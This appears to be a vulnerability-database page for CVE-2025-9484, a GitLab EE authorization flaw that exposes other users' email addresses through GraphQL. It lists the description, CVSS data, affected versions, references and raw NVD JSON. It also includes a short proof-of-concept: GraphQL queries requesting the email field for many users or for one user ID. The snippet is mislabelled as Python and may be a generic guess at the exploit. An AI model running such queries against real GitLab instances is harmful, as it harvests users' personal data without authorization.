CVE-2025-9484

Description

GitLab has remediated an issue in GitLab EE affecting all versions from 16.6 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that under certain circumstances could have allowed an authenticated user to have access to other users' email addresses via certain GraphQL queries.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE

GitLab EE >= 16.6, < 18.8.9

GitLab EE >= 18.9, < 18.9.5

GitLab EE >= 18.10, < 18.10.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2025-9484: GitLab EE Information Disclosure via GraphQL
# Send a POST request to https://<gitlab-domain>/api/graphql with the following payload

query {
  users(first: 20) {
    nodes {
      id
      username
      email # Sensitive field exposed due to improper access control
    }
  }
}

# Alternatively, query a specific user if the ID is known
query {
  user(id: "gid://gitlab/User/1") {
    email
  }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9484
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9484
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9484/
[4] VulDB https://vuldb.com/cve/CVE-2025-9484
[5] https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/issues/565363
[7] https://hackerone.com/reports/3303810

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-9484", "sourceIdentifier": "[email protected]", "published": "2026-04-08T23:16:57.343", "lastModified": "2026-04-14T17:03:59.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 16.6 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that under certain circumstances could have allowed an authenticated user to have access to other users' email addresses via certain GraphQL queries."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "16.6.0", "versionEndExcluding": "18.8.9", "matchCriteriaId": "935920C5-6C73-43AE-8CA5-80DBA520C1D9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.5", "matchCriteriaId": "3BA6A89D-D2C1-45B9-A8E8-64256816D880"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.3", "matchCriteriaId": "BB2F3665-2451-4A4D-8538-93F540975F0E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released/", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/565363", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3303810", "source": "[email protected]", "tags": ["Permissions Required"]}]}}